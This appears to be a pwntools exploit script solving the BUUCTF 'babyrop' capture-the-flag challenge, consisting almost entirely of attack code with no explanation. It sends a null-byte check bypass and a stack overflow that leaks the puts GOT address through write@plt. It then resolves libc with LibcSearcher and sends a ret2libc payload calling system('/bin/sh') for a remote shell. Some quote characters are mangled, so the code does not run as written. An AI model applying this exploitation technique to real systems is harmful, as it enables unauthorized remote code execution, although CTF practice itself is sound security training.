BUUCTF-pwn babyrop

from pwn import *
from LibcSearcher import *
a=remote("node3.buuoj.cn",25389)
elf=ELF("babyrop")
#libc=ELF("libc-2.23.so")
write_plt=elf.plt[‘write‘]
puts_got=elf.got[‘puts‘]
start=0x080485A0
main=0x08048825

#leak_address
payload="\x00"+"\xff"*(0x2c-0x25)
a.sendline(payload)
a.recvuntil("Correct\n")
payload2=‘a‘*0xE7+‘a‘*4+p32(write_plt)+p32(start)+p32(1)+p32(puts_got)+p32(4)
a.send(payload2)
puts_got=u32(a.recv(4))

#find base
libc=LibcSearcher(‘puts‘,puts_got)
base=puts_got-libc.dump(‘puts‘)
system=base+libc.dump(‘system‘)
binsh=base+libc.dump(‘str_bin_sh‘)

payload="\x00"+"\xff"*(0x2c-0x25)


a.sendline(payload)
a.recvuntil("Correct\n")
payload2=‘a‘*0xE7+‘a‘*4+p32(system)+p32(0)+p32(binsh)
a.sendline(payload2)
a.interactive()